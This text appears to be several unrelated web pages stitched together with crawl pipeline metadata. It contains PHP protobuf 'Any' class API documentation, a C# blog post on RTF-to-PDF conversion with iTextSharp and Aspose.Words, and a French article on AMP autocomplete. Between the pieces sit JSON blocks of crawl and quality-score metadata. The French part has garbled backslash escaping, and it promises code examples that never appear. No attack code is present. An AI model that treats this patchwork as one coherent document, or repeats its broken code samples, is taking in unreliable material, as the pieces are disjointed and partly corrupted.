"@type": "type.googleapis.com/google.profile.Person",
"firstName": <string>,
"lastName": <string>
}
If the embedded message type is well-known and has a custom JSON
representation, that representation will be embedded adding a field
value which holds the custom JSON in addition to the @type
field. Example (for message [google.protobuf.Duration][]):
{
"@type": "type.googleapis.com/google.protobuf.Duration",
"value": "1.212s"
}
Generated from protobuf message google.protobuf.Any
CloneableInstantiable
ExtendsGoogle\Protobuf\Internal\Message
Constants
public Google\Protobuf\Any::TYPE_URL_PREFIX = 'type.googleapis.com/'
Methods
public __construct( $data = NULL)
Constructor.
public Google\Protobuf\Internal\Message::byteSize()
• ignore
public Google\Protobuf\Internal\Message::clear()
Clear all containing fields.
• return
public Google\Protobuf\Internal\Message::discardUnknownFields()
Clear all unknown fields previously parsed.
• return
public getTypeUrl()
A URL/resource name that uniquely identifies the type of the serialized
protocol buffer message. The last segment of the URL's path must represent
the fully qualified name of the type (as in
path/google.protobuf.Duration). The name should be in a canonical form
(e.g., leading "." is not accepted).
In practice, teams usually precompile into the binary all types that they
expect it to use in the context of Any. However, for URLs which use the
scheme http, https, or no scheme, one can optionally set up a type
server that maps type URLs to message definitions as follows:
• If no scheme is provided, https is assumed.
• An HTTP GET on the URL must yield a [google.protobuf.Type][]
value in binary format, or produce an error.
• Applications are allowed to cache lookup results based on the
URL, or have them precompiled into a binary to avoid any
lookup. Therefore, binary compatibility needs to be preserved
on changes to types. (Use versioned type names to manage
breaking changes.)
Note: this functionality is not currently available in the official
protobuf release, and it is not used for type URLs beginning with
type.googleapis.com.
Schemes other than http, https (or the empty scheme) might be
used with implementation specific semantics.
Generated from protobuf field string type_url = 1;
• return string
public getValue()
Must be a valid serialized protocol buffer of the above specified type.
Generated from protobuf field bytes value = 2;
• return string
public is( $klass)
This method returns whether the type_url in any_message is corresponded
to the given class.
public Google\Protobuf\Internal\Message::jsonByteSize()
• ignore
public Google\Protobuf\Internal\Message::mergeFrom( $msg)
Merges the contents of the specified message into current message.
This method merges the contents of the specified message into the
current message. Singular fields that are set in the specified message
overwrite the corresponding fields in the current message. Repeated
fields are appended. Map fields key-value pairs are overwritten.
Singular/Oneof sub-messages are recursively merged. All overwritten
sub-messages are deep-copied.
• return
public Google\Protobuf\Internal\Message::mergeFromJsonString( $data, $ignore_unknown = false)
Parses a json string to protobuf message.
This function takes a string in the json wire format, matching the
encoding output by serializeToJsonString().
See mergeFrom() for merging behavior, if the field is already set in the
specified message.
• return
• throws Exception Invalid data.
public Google\Protobuf\Internal\Message::mergeFromString( $data)
Parses a protocol buffer contained in a string.
This function takes a string in the (non-human-readable) binary wire
format, matching the encoding output by serializeToString().
See mergeFrom() for merging behavior, if the field is already set in the
specified message.
• return
• throws Exception Invalid data.
public pack( $msg)
The type_url will be created according to the given message’s type and
the value is encoded data from the given message.
.
public Google\Protobuf\Internal\Message::parseFromJsonStream( $input, $ignore_unknown)
• ignore
public Google\Protobuf\Internal\Message::parseFromStream( $input)
• ignore
public Google\Protobuf\Internal\Message::serializeToJsonStream( $output)
• ignore
public Google\Protobuf\Internal\Message::serializeToJsonString()
Serialize the message to json string.
• return string Serialized json protobuf data.
public Google\Protobuf\Internal\Message::serializeToStream( $output)
• ignore
public Google\Protobuf\Internal\Message::serializeToString()
Serialize the message to string.
• return string Serialized binary protobuf data.
public setTypeUrl( $var)
A URL/resource name that uniquely identifies the type of the serialized
protocol buffer message. The last segment of the URL's path must represent
the fully qualified name of the type (as in
path/google.protobuf.Duration). The name should be in a canonical form
(e.g., leading "." is not accepted).
In practice, teams usually precompile into the binary all types that they
expect it to use in the context of Any. However, for URLs which use the
scheme http, https, or no scheme, one can optionally set up a type
server that maps type URLs to message definitions as follows:
• If no scheme is provided, https is assumed.
• An HTTP GET on the URL must yield a [google.protobuf.Type][]
value in binary format, or produce an error.
• Applications are allowed to cache lookup results based on the
URL, or have them precompiled into a binary to avoid any
lookup. Therefore, binary compatibility needs to be preserved
on changes to types. (Use versioned type names to manage
breaking changes.)
Note: this functionality is not currently available in the official
protobuf release, and it is not used for type URLs beginning with
type.googleapis.com.
Schemes other than http, https (or the empty scheme) might be
used with implementation specific semantics.
Generated from protobuf field string type_url = 1;
• return $this
public setValue( $var)
Must be a valid serialized protocol buffer of the above specified type.
Generated from protobuf field bytes value = 2;
• return $this
public unpack()
This method will try to resolve the type_url in Any message to get the
targeted message type. If failed, an error will be thrown. Otherwise,
the method will create a message of the targeted type and fill it with
the decoded value in Any.
• return Message unpacked message
• throws Exception Type url needs to be type.googleapis.com/fully-qualified.
• throws Exception Class hasn't been added to descriptor pool.
• throws Exception cannot decode data in value field.
Methods
protected Google\Protobuf\Internal\Message::mergeFromArray(array $array)
Populates the message from a user-supplied PHP array. Array keys
correspond to Message properties and nested message properties.
Example:
$message->mergeFromArray([
'name' => 'This is a message name',
'interval' => [
'startTime' => time() - 60,
'endTime' => time(),
]
]);
This method will trigger an error if it is passed data that cannot
be converted to the correct type. For example, a StringValue field
must receive data that is either a string or a StringValue object.
• return
protected Google\Protobuf\Internal\Message::mergeFromJsonArray( $array, $ignore_unknown)
protected Google\Protobuf\Internal\Message::readOneof( $number)
protected Google\Protobuf\Internal\Message::readWrapperValue( $member)
protected Google\Protobuf\Internal\Message::whichOneof( $oneof_name)
protected Google\Protobuf\Internal\Message::writeOneof( $number, $value)
protected Google\Protobuf\Internal\Message::writeWrapperValue( $member, $value)
Properties
private $type_url
A URL/resource name that uniquely identifies the type of the serialized
protocol buffer message. The last segment of the URL's path must represent
the fully qualified name of the type (as in
path/google.protobuf.Duration). The name should be in a canonical form
(e.g., leading "." is not accepted).
In practice, teams usually precompile into the binary all types that they
expect it to use in the context of Any. However, for URLs which use the
scheme http, https, or no scheme, one can optionally set up a type
server that maps type URLs to message definitions as follows:
• If no scheme is provided, https is assumed.
• An HTTP GET on the URL must yield a [google.protobuf.Type][]
value in binary format, or produce an error.
• Applications are allowed to cache lookup results based on the
URL, or have them precompiled into a binary to avoid any
lookup. Therefore, binary compatibility needs to be preserved
on changes to types. (Use versioned type names to manage
breaking changes.)
Note: this functionality is not currently available in the official
protobuf release, and it is not used for type URLs beginning with
type.googleapis.com.
Schemes other than http, https (or the empty scheme) might be
used with implementation specific semantics.
Generated from protobuf field string type_url = 1;
private $value
Must be a valid serialized protocol buffer of the above specified type.
Generated from protobuf field bytes value = 2;
Methods
private Google\Protobuf\Internal\Message::appendHelper( $field, $append_value)
private Google\Protobuf\Internal\Message::convertJsonValueToProtoValue( $value, $field, $ignore_unknown, $is_map_key = false)
private Google\Protobuf\Internal\Message::defaultValue( $field)
• ignore
private Google\Protobuf\Internal\Message::existField( $field)
• ignore
private Google\Protobuf\Internal\Message::fieldByteSize( $field)
• ignore
private Google\Protobuf\Internal\Message::fieldDataOnlyByteSize( $field, $value)
• ignore
private Google\Protobuf\Internal\Message::fieldDataOnlyJsonByteSize( $field, $value)
• ignore
private Google\Protobuf\Internal\Message::fieldJsonByteSize( $field)
• ignore
private Google\Protobuf\Internal\Message::initWithDescriptor(Google\Protobuf\Internal\Descriptor $desc)
• ignore
private Google\Protobuf\Internal\Message::initWithGeneratedPool()
• ignore
private Google\Protobuf\Internal\Message::kvUpdateHelper( $field, $update_key, $update_value)
private Google\Protobuf\Internal\Message::mergeFromArrayJsonImpl( $array, $ignore_unknown)
private static Google\Protobuf\Internal\Message::normalizeArrayElementsToMessageType( $value, $class)
Tries to normalize the elements in $value into a provided protobuf
wrapper type $class. If $value is any type other than array, we do
not do any conversion, and instead rely on the existing protobuf
type checking. If $value is an array, we process each element and
try to convert it to an instance of $class.
private static Google\Protobuf\Internal\Message::normalizeToMessageType( $value, $class)
Tries to normalize $value into a provided protobuf wrapper type $class.
If $value is any type other than an object, we attempt to construct an
instance of $class and assign $value to it using the setValue method
shared by all wrapper types.
This method will raise an error if it receives a type that cannot be
assigned to the wrapper type via setValue.
private Google\Protobuf\Internal\Message::parseFieldFromStream( $tag, $input, $field)
• ignore
private static Google\Protobuf\Internal\Message::parseFieldFromStreamNoTag( $input, $field, $value)
• ignore
private Google\Protobuf\Internal\Message::repeatedFieldDataOnlyByteSize( $field)
• ignore
private Google\Protobuf\Internal\Message::serializeFieldToJsonStream( $output, $field)
• ignore
private Google\Protobuf\Internal\Message::serializeFieldToStream( $output, $field)
• ignore
private Google\Protobuf\Internal\Message::serializeMapFieldToStream( $field, $output)
• ignore
private Google\Protobuf\Internal\Message::serializeRepeatedFieldToStream( $field, $output)
• ignore
private Google\Protobuf\Internal\Message::serializeSingularFieldToStream( $field, $output)
• ignore
private Google\Protobuf\Internal\Message::skipField( $input, $tag)
• ignore
Methods
private static Google\Protobuf\Internal\Message::normalizeArrayElementsToMessageType( $value, $class)
Tries to normalize the elements in $value into a provided protobuf
wrapper type $class. If $value is any type other than array, we do
not do any conversion, and instead rely on the existing protobuf
type checking. If $value is an array, we process each element and
try to convert it to an instance of $class.
private static Google\Protobuf\Internal\Message::normalizeToMessageType( $value, $class)
Tries to normalize $value into a provided protobuf wrapper type $class.
If $value is any type other than an object, we attempt to construct an
instance of $class and assign $value to it using the setValue method
shared by all wrapper types.
This method will raise an error if it receives a type that cannot be
assigned to the wrapper type via setValue.
private static Google\Protobuf\Internal\Message::parseFieldFromStreamNoTag( $input, $field, $value)
• ignore
© 2020 Bruce Wells
Search Namespaces \ Classes
ConfigurationNumbers (0-9.) only
|
{
"url": "http://phpfui.com/?n=Google%5CProtobuf&c=Any",
"source_domain": "phpfui.com",
"snapshot_id": "crawl=CC-MAIN-2020-29",
"warc_metadata": {
"Content-Length": "418873",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:ZVPCBOLYR6IHT2BR7HFJXMCQXHHMPYMI",
"WARC-Concurrent-To": "<urn:uuid:33b6ce65-9704-4731-a548-4ecb965d9385>",
"WARC-Date": "2020-07-15T12:48:52Z",
"WARC-IP-Address": "74.208.236.26",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:RJF5IJF4MJMLAAZMSKARXYO7M4OFRRBL",
"WARC-Record-ID": "<urn:uuid:092d343b-0252-47b8-b70f-c0601b7320d3>",
"WARC-Target-URI": "http://phpfui.com/?n=Google%5CProtobuf&c=Any",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:9d354727-aa0c-4498-af52-5678739cd95e>"
},
"warc_info": "isPartOf: CC-MAIN-2020-29\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-198.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
74,
129,
130,
202,
272,
317,
318,
333,
342,
361,
365,
391,
397,
399,
400,
446,
447,
462,
487,
491,
516,
547,
549,
550,
598,
599,
614,
626,
640,
644,
671,
689,
695,
696,
739,
740,
761,
797,
802,
819,
874,
881,
884,
885,
951,
1019,
1085,
1150,
1162,
1163,
1168,
1169,
1226,
1288,
1353,
1354,
1378,
1395,
1420,
1444,
1446,
1448,
1508,
1533,
1556,
1558,
1559,
1624,
1692,
1755,
1814,
1815,
1817,
1880,
1900,
1902,
1903,
1955,
1956,
1978,
2018,
2028,
2097,
2105,
2139,
2141,
2142,
2155,
2156,
2212,
2218,
2231,
2284,
2290,
2291,
2324,
2325,
2338,
2406,
2412,
2413,
2461,
2462,
2475,
2499,
2505,
2506,
2582,
2661,
2709,
2784,
2825,
2826,
2904,
2980,
3051,
3117,
3118,
3168,
3235,
3286,
3354,
3417,
3485,
3548,
3573,
3647,
3719,
3746,
3814,
3865,
3866,
3921,
3922,
3942,
3964,
3970,
3971,
4047,
4048,
4099,
4100,
4120,
4143,
4149,
4150,
4226,
4250,
4251,
4313,
4321,
4336,
4400,
4408,
4409,
4482,
4483,
4555,
4632,
4706,
4777,
4851,
4887,
4888,
4903,
5003,
5011,
5012,
5060,
5061,
5134,
5184,
5263,
5288,
5289,
5304,
5343,
5414,
5422,
5423,
5477,
5478,
5553,
5620,
5699,
5724,
5725,
5740,
5779,
5804,
5812,
5813,
5890,
5946,
5947,
5955,
5956,
6051,
6061,
6078,
6152,
6162,
6179,
6260,
6270,
6287,
6360,
6370,
6371,
6417,
6418,
6473,
6550,
6560,
6577,
6646,
6656,
6657,
6698,
6699,
6756,
6789,
6799,
6800,
6880,
6963,
7015,
7094,
7139,
7140,
7222,
7302,
7377,
7447,
7448,
7502,
7573,
7628,
7700,
7767,
7839,
7906,
7935,
8013,
8089,
8120,
8192,
8247,
8248,
8307,
8308,
8331,
8362,
8372,
8373,
8453,
8454,
8509,
8510,
8533,
8557,
8567,
8568,
8647,
8725,
8804,
8838,
8839,
8881,
8966,
9037,
9099,
9115,
9196,
9206,
9207,
9280,
9352,
9353,
9370,
9371,
9406,
9454,
9482,
9527,
9565,
9579,
9591,
9600,
9601,
9676,
9751,
9826,
9827,
9844,
9941,
10013,
10092,
10169,
10250,
10338,
10357,
10383,
10393,
10394,
10474,
10557,
10609,
10688,
10733,
10734,
10816,
10896,
10971,
11041,
11042,
11096,
11167,
11222,
11294,
11361,
11433,
11500,
11529,
11607,
11683,
11714,
11786,
11841,
11842,
11901,
11902,
11925,
11935,
11936,
12016,
12017,
12072,
12073,
12089,
12176,
12310,
12382,
12392,
12409,
12479,
12489,
12506,
12579,
12589,
12606,
12695,
12705,
12722,
12815,
12825,
12842,
12919,
12929,
12946,
13058,
13068,
13085,
13159,
13169,
13186,
13288,
13387,
13497,
13507,
13508,
13583,
13658,
13731,
13805,
13857,
13858,
13957,
13969,
13970,
14052,
14053,
14134,
14213,
14252,
14253,
14332,
14385,
14386,
14484,
14498,
14519,
14631,
14645,
14666,
14759,
14773,
14794,
14893,
14907,
14928,
15023,
15037,
15058,
15156,
15170,
15191,
15294,
15308,
15329,
15432,
15446,
15467,
15546,
15560,
15581,
15601,
15715,
15729,
15730,
15809,
15888,
15965,
16043,
16099,
16100,
16203,
16219,
16220,
16306,
16307,
16392,
16475,
16518,
16519,
16602,
16659,
16660,
16776,
16794,
16819,
16854,
16898
],
"line_end_idx": [
74,
129,
130,
202,
272,
317,
318,
333,
342,
361,
365,
391,
397,
399,
400,
446,
447,
462,
487,
491,
516,
547,
549,
550,
598,
599,
614,
626,
640,
644,
671,
689,
695,
696,
739,
740,
761,
797,
802,
819,
874,
881,
884,
885,
951,
1019,
1085,
1150,
1162,
1163,
1168,
1169,
1226,
1288,
1353,
1354,
1378,
1395,
1420,
1444,
1446,
1448,
1508,
1533,
1556,
1558,
1559,
1624,
1692,
1755,
1814,
1815,
1817,
1880,
1900,
1902,
1903,
1955,
1956,
1978,
2018,
2028,
2097,
2105,
2139,
2141,
2142,
2155,
2156,
2212,
2218,
2231,
2284,
2290,
2291,
2324,
2325,
2338,
2406,
2412,
2413,
2461,
2462,
2475,
2499,
2505,
2506,
2582,
2661,
2709,
2784,
2825,
2826,
2904,
2980,
3051,
3117,
3118,
3168,
3235,
3286,
3354,
3417,
3485,
3548,
3573,
3647,
3719,
3746,
3814,
3865,
3866,
3921,
3922,
3942,
3964,
3970,
3971,
4047,
4048,
4099,
4100,
4120,
4143,
4149,
4150,
4226,
4250,
4251,
4313,
4321,
4336,
4400,
4408,
4409,
4482,
4483,
4555,
4632,
4706,
4777,
4851,
4887,
4888,
4903,
5003,
5011,
5012,
5060,
5061,
5134,
5184,
5263,
5288,
5289,
5304,
5343,
5414,
5422,
5423,
5477,
5478,
5553,
5620,
5699,
5724,
5725,
5740,
5779,
5804,
5812,
5813,
5890,
5946,
5947,
5955,
5956,
6051,
6061,
6078,
6152,
6162,
6179,
6260,
6270,
6287,
6360,
6370,
6371,
6417,
6418,
6473,
6550,
6560,
6577,
6646,
6656,
6657,
6698,
6699,
6756,
6789,
6799,
6800,
6880,
6963,
7015,
7094,
7139,
7140,
7222,
7302,
7377,
7447,
7448,
7502,
7573,
7628,
7700,
7767,
7839,
7906,
7935,
8013,
8089,
8120,
8192,
8247,
8248,
8307,
8308,
8331,
8362,
8372,
8373,
8453,
8454,
8509,
8510,
8533,
8557,
8567,
8568,
8647,
8725,
8804,
8838,
8839,
8881,
8966,
9037,
9099,
9115,
9196,
9206,
9207,
9280,
9352,
9353,
9370,
9371,
9406,
9454,
9482,
9527,
9565,
9579,
9591,
9600,
9601,
9676,
9751,
9826,
9827,
9844,
9941,
10013,
10092,
10169,
10250,
10338,
10357,
10383,
10393,
10394,
10474,
10557,
10609,
10688,
10733,
10734,
10816,
10896,
10971,
11041,
11042,
11096,
11167,
11222,
11294,
11361,
11433,
11500,
11529,
11607,
11683,
11714,
11786,
11841,
11842,
11901,
11902,
11925,
11935,
11936,
12016,
12017,
12072,
12073,
12089,
12176,
12310,
12382,
12392,
12409,
12479,
12489,
12506,
12579,
12589,
12606,
12695,
12705,
12722,
12815,
12825,
12842,
12919,
12929,
12946,
13058,
13068,
13085,
13159,
13169,
13186,
13288,
13387,
13497,
13507,
13508,
13583,
13658,
13731,
13805,
13857,
13858,
13957,
13969,
13970,
14052,
14053,
14134,
14213,
14252,
14253,
14332,
14385,
14386,
14484,
14498,
14519,
14631,
14645,
14666,
14759,
14773,
14794,
14893,
14907,
14928,
15023,
15037,
15058,
15156,
15170,
15191,
15294,
15308,
15329,
15432,
15446,
15467,
15546,
15560,
15581,
15601,
15715,
15729,
15730,
15809,
15888,
15965,
16043,
16099,
16100,
16203,
16219,
16220,
16306,
16307,
16392,
16475,
16518,
16519,
16602,
16659,
16660,
16776,
16794,
16819,
16854,
16898,
16946
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 16946,
"ccnet_original_nlines": 443,
"rps_doc_curly_bracket": 0.0008851599995978177,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.24941176176071167,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.011428570374846458,
"rps_doc_frac_lines_end_with_ellipsis": 0.01576576940715313,
"rps_doc_frac_no_alph_words": 0.3082352876663208,
"rps_doc_frac_unique_words": 0.2185792326927185,
"rps_doc_mean_word_length": 6.23606538772583,
"rps_doc_num_sentences": 172,
"rps_doc_symbol_to_word_ratio": 0.005042020231485367,
"rps_doc_unigram_entropy": 5.211997032165527,
"rps_doc_word_count": 1830,
"rps_doc_frac_chars_dupe_10grams": 0.4398878514766693,
"rps_doc_frac_chars_dupe_5grams": 0.5109533667564392,
"rps_doc_frac_chars_dupe_6grams": 0.4860672950744629,
"rps_doc_frac_chars_dupe_7grams": 0.4737994968891144,
"rps_doc_frac_chars_dupe_8grams": 0.4622327387332916,
"rps_doc_frac_chars_dupe_9grams": 0.4398878514766693,
"rps_doc_frac_chars_top_2gram": 0.014721349813044071,
"rps_doc_frac_chars_top_3gram": 0.019628459587693214,
"rps_doc_frac_chars_top_4gram": 0.013319309800863266,
"rps_doc_books_importance": -1301.966796875,
"rps_doc_books_importance_length_correction": -1301.966796875,
"rps_doc_openwebtext_importance": -903.2850952148438,
"rps_doc_openwebtext_importance_length_correction": -903.2850952148438,
"rps_doc_wikipedia_importance": -605.4256591796875,
"rps_doc_wikipedia_importance_length_correction": -605.4256591796875
},
"fasttext": {
"dclm": 0.040821969509124756,
"english": 0.5916233658790588,
"fineweb_edu_approx": 2.772892475128174,
"eai_general_math": 0.1298004388809204,
"eai_open_web_math": 0.176067054271698,
"eai_web_code": 0.3007960915565491
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.01",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "5",
"label": "Exceptionally Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
5,205,452,947,751,737,000 |
Wednesday, December 15, 2010
Conversion of a RTF document to PDF with C#
In my current project, I need to convert in an easy way RTF documents to PDF from managed code. I don't want to rebuild these documents in PDF, because the RTF's still have some need in the application.
After google-ing around for possible solutions, I tried two components: the last version of iTextSharp with RTF support (from version five on, the RTF support is split into a new project and removed from iTextSharp) and Aspose.Words.
After a quick conversion with iTextSharp, I understand why RTF support was dropped. The produced PDF was one piece of garbage. The code I used was:
using (FileStream outstream = File.Create(outFile))
{
Document docText = new Document();
PdfWriter writer = PdfWriter.GetInstance(docText, outstream);
docText.Open();
RtfParser rtf = new RtfParser(null);
using (FileStream rtfStream = File.OpenRead(inFile))
{
rtf.ConvertRtfDocument(rtfStream, docText);
}
docText.Close();
}
Aspose.Words worked like a charm, while using only two lines of code:
Aspose.Words.Document doc = new Aspose.Words.Document(inFile);
doc.Save(outFile, SaveFormat.Pdf);
The only drawback is iTextSharp is OpenSource and Aspose.Words isn't. But I guess there isn't another reliable OS alternative.
Share
|
{
"url": "http://blog.nielsvrolijk.nl/2010/12/",
"source_domain": "blog.nielsvrolijk.nl",
"snapshot_id": "crawl=CC-MAIN-2020-05",
"warc_metadata": {
"Content-Length": "70956",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:L6STQYQKJHP6P5S6FFT6FCZZFTGVJGDV",
"WARC-Concurrent-To": "<urn:uuid:58aa95ba-dbad-4834-82cd-d85059b903fb>",
"WARC-Date": "2020-01-29T10:38:35Z",
"WARC-IP-Address": "172.217.15.115",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:HQGR4XBGFNDEBNPBFQT3YOYMK6WY3KEB",
"WARC-Record-ID": "<urn:uuid:746d21c2-3a07-4e2c-8415-7acd258a3a64>",
"WARC-Target-URI": "http://blog.nielsvrolijk.nl/2010/12/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:3106706c-f686-448c-abbf-d8648d2fb20b>"
},
"warc_info": "isPartOf: CC-MAIN-2020-05\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-179.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
29,
30,
74,
75,
278,
279,
513,
514,
662,
663,
715,
717,
752,
814,
830,
867,
920,
922,
966,
968,
985,
987,
988,
989,
1059,
1060,
1123,
1158,
1159,
1286,
1287,
1293,
1294
],
"line_end_idx": [
29,
30,
74,
75,
278,
279,
513,
514,
662,
663,
715,
717,
752,
814,
830,
867,
920,
922,
966,
968,
985,
987,
988,
989,
1059,
1060,
1123,
1158,
1159,
1286,
1287,
1293,
1294,
1295
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 1295,
"ccnet_original_nlines": 33,
"rps_doc_curly_bracket": 0.0030888000037521124,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.27173912525177,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.06521739065647125,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.27173912525177,
"rps_doc_frac_unique_words": 0.6079545617103577,
"rps_doc_mean_word_length": 5.744318008422852,
"rps_doc_num_sentences": 23,
"rps_doc_symbol_to_word_ratio": 0.00362319010309875,
"rps_doc_unigram_entropy": 4.468594074249268,
"rps_doc_word_count": 176,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.029673589393496513,
"rps_doc_frac_chars_top_3gram": 0,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -127.86424255371094,
"rps_doc_books_importance_length_correction": -127.86424255371094,
"rps_doc_openwebtext_importance": -58.3954963684082,
"rps_doc_openwebtext_importance_length_correction": -58.3954963684082,
"rps_doc_wikipedia_importance": -58.081642150878906,
"rps_doc_wikipedia_importance_length_correction": -58.081642150878906
},
"fasttext": {
"dclm": 0.05836642161011696,
"english": 0.9042254686355591,
"fineweb_edu_approx": 1.4033067226409912,
"eai_general_math": 0.941898763179779,
"eai_open_web_math": 0.32883089780807495,
"eai_web_code": 0.685305118560791
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.05",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "16",
"label": "Personal Blog"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
9,085,379,531,431,326,000 |
AMP supporte l\'Autocomplétion dans les formulaires de recherche
Les pages AMP peuvent désormais refléter plus étroitement le comportement des pages HTML régulières avec des autocomplétions pour la recherche et les formulaires.
AMP supporte l\'Autocompletion dans les formulaires de recherche
Un champ de saisie avec l’autocomplétion activée suggère des résultats complétés correspondant à l\’entrée de l\’utilisateur lorsqu\’ils tapent dans le champ de saisie.
Cette fonctionnalité peut aider l\’utilisateur à s\’acquitter de sa tâche plus rapidement.
Les données peuvent être récupérées à partir d\’un point de terminaison JSON ou localement à partir de l\’état AMP.
Comme vous le savez probablement de ce qui est une fonctionnalité commune dans les pages normales, cela peut grandement accélérer le temps qu\’il faut pour terminer une requête.
L’autocomplétion AMP peut être utilisée pour alimenter des expériences de recherche sur place, ou sous forme de formulaires pour aider à assurer que les saisies livrent des résultats plus prédictifs.
Lorsqu\’un utilisateur tape dans un champ de saisie avec l’autocomplétion AMP, des suggestions pertinentes apparaissent automatiquement sous le champ de saisie.
Cette fonctionnalité peut également être utilisée pour générer une liste de suggestions pour un champ d\’entrée particulier.
Par exemple, une barre de recherche sur un site ecommerce AMP peut automatiquement suggérer les produits les plus populaires avec la fonctionnalité de l’autocomplétion.
L\’extension d\’autocomplétion AMP doit être utilisée pour suggérer des éléments terminés en fonction de la saisie de l\’utilisateur pour aider les utilisateurs à effectuer leur tâche plus rapidement.
Cela peut être utilisé pour alimenter les expériences de recherche, dans les cas où l\’utilisateur peut ne pas connaître la gamme complète des entrées potentielles, ou dans les formulaires pour aider à assurer les saisies où il peut y avoir plusieurs façons d\’exprimer la même intention (en utilisant une abréviation d\’état au lieu de son nom complet , par exemple) donnent des résultats plus prévisibles.
Exemple de code :
{ \ »items\ »: [\ »a\ », \ »b\ » \ »c\ »] }
Exemple de code amp-autocomplete
Autres exemples de code d’importation dans le header
1. Importer le composant “amp-autocomplete” :
2. Importer le composant “amp-form” :
3. Optionnel : le composant “amp-bind” est nécessaire pour modifier dynamiquement la source de données d\’un composant “amp-autocomplete” :
